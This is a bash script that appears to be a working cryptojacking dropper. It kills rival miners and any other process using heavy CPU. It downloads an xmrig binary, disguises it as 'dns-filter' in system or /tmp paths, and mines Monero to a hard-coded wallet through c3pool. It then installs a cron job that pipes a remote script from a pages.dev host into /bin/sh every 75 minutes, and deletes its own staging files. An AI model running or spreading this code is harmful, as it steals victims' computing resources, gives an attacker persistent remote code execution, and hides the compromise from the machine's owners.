#!/bin/bash

for file in /tmp/usr/lib/systemdev/dns-filter /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
    if [ -f "$file" ]; then
        rm -f "$file"
    fi
done

CUSTOM_ARG="${1:-x}"

if systemctl is-active --quiet systemd_s; then
    systemctl stop systemd_s
fi

external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null || curl -s ipv4.icanhazip.com 2>/dev/null)
IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)


kill_unwanted() {
  if command -v pkill >/dev/null 2>&1; then
    pkill -f "index.js"
    pkill "xmr"
  elif command -v pgrep >/dev/null 2>&1; then
    pgrep -f "index.js" | xargs -r kill
    pgrep -x "xmr" | xargs -r kill
  else
    ps aux | grep '[x]mr' | awk '{print $2}' | xargs -r kill
    ps aux | grep -w '[i]ndex.js' | awk '{print $2}' | xargs -r kill
  fi

  if command -v pgrep >/dev/null 2>&1; then
    pgrep "index.js" | grep -v "^$$$" | xargs -r kill
  else
    ps aux | grep -w '[i]ndex.js' | awk -v mypid=$$ '$2 != mypid {print $2}' | xargs -r kill
  fi
}


kill_unwanted




kill_high_cpu_processes() {
    local threshold=150.0
    local exclude_patterns=("pattern2reserve333" "goAwgBCFH")
    local pid cpu cmdline

    ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
        'NR>1 && $2 > threshold {print $1}' | while read -r pid; do

        # Read full command line (even if truncated in `ps`)
        if [ -f "/proc/$pid/cmdline" ]; then
            cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
        else
            echo "PID $pid died before inspection"
            continue
        fi

        # Check for exclusion patterns in full cmdline
        for pattern in "${exclude_patterns[@]}"; do
            if [[ "$cmdline" == *"$pattern"* ]]; then
                echo "Excluding PID $pid (matched '$pattern')"
                continue 2
            fi
        done

        if kill -9 "$pid" 2>/dev/null; then
            echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
        else
            echo "Failed to kill PID $pid (already dead or permission denied)"
        fi
    done
}

delete_systemd_mon_file() {
    if [ "$(id -u)" -eq 0 ]; then
        file_path="/usr/lib/systemdev/dns-filter"
    else
        file_path="/tmp/usr/lib/systemdev/dns-filter"
    fi

    if [ -e "$file_path" ]; then
        rm "$file_path"
        echo "File deleted: $file_path"
    else
        echo "File does not exist: $file_path"
    fi
}

if [ "$(id -u)" -eq 0 ]; then
    HOME_1='/usr/lib/dev'
    user_type="root"
    
    if ! command -v cron &>/dev/null; then
        echo "Installing cron for root user..."
        if command -v apt-get &>/dev/null; then
            apt-get update && apt-get install -y cron
        elif command -v yum &>/dev/null; then
            yum install -y cronie
        else
            echo "no cronieL"
        fi
    fi
else
    HOME_1='/tmp/usr/lib'
    user_type="user"
fi

mkdir -p "$HOME_1/systemdev"

program_file="$HOME_1/systemdev/dns-filter"

run_program() {
    local executable="$program_file"
    local fallback_executable="/tmp/dns" 
    local download_url="https://gitlab.com/Kanedias/xmrig-static/-/releases/permalink/latest/downloads/xmrig-x86_64-static"

    launch_program() {
        nohup "$@" >/dev/null 2>&1 &
        local pid=$!
        
        sleep 0.5  
        
        if ! ps -p "$pid" >/dev/null 2>&1; then
            return 1  
        fi
        
        sleep 4.5  
        ps -p "$pid" >/dev/null 2>&1
    }

    download_fallback() {
    rm -f "$fallback_executable"

    if command -v curl >/dev/null 2>&1; then
        curl -k -fL -o "$fallback_executable" "$download_url" || return 1
    elif command -v wget >/dev/null 2>&1; then
        wget -qO "$fallback_executable" "$download_url" || return 1
    else
        echo "No download tool available" >&2
        return 1
    fi
    chmod +x "$fallback_executable"
}

    echo "Starting primary program..."
    if [ -x "$executable" ]; then
        if launch_program "$executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG  ; then 
            echo "Primary program running (PID $!)"
            
            return 0
        else
            echo "Primary program crashed immediately"
        fi
    else
        echo "Primary program not found/executable"
    fi

    echo "Attempting fallback..."
    if download_fallback && launch_program "$fallback_executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG ; then
        echo "Fallback program running (PID $!)"
    else
        echo "Warning: All startup attempts failed - continuing script anyway"
    fi

    return 0  
}

if [ -e "$program_file" ]; then
    echo "Program file already exists at: $program_file"
    run_program

    pkill -f "systemd-t"

    
else
    if command -v wget &> /dev/null; then
        wget -qO "$HOME_1/systemdev/yes.tar.xz" "https://gitlab.com/Kanedias/xmrig-static/-/releases/permalink/latest/downloads/xmrig-x86_64-static" #"https://gitlab.com/least3654/xmrig-static/-/raw/master/test/yes.tar.gz" SRBMiner
    elif command -v curl &> /dev/null; then
        curl -k -L -o  "$HOME_1/systemdev/yes.tar.xz" "https://gitlab.com/Kanedias/xmrig-static/-/releases/permalink/latest/downloads/xmrig-x86_64-static" #"https://gitlab.com/least3654/xmrig-static/-/raw/master/test/yes.tar.gz" SRBMiner
    else  
        echo "Error: Neither wget nor curl is available. Please install one of them."
        exit 1
    fi

    # Extract the tarball and move the program file
    #tar -xf "$HOME_1/systemdev/yes.tar.xz" -C "$HOME_1/systemdev"
    mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
    rm -rf "$HOME_1/systemdev/xmrig"
    chmod +x "$HOME_1/systemdev/dns-filter"

    if [ -x "$program_file" ]; then
        echo "Program file downloaded and installed at: $program_file"
        run_program
    else
        echo "Error: File not found or not executable at $program_file."
        external_ip=$(curl -s ifconfig.me)
        echo "Use for VPS: ($external_ip) - $user_type"
    fi
fi

create_cronjob() {
    local cron_command
    if command -v curl >/dev/null; then
        cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
    elif command -v wget >/dev/null; then
        cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
    else
        log "Error: Cannot create cron job, neither curl nor wget is available."
        return 1
    fi

    (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
    log "Cron job successfully configured."
}

create_cronjob "https://redirect-master-pages.pages.dev/mon"


rm -f /tmp/mon.sh
rm -f /tmp/run.sh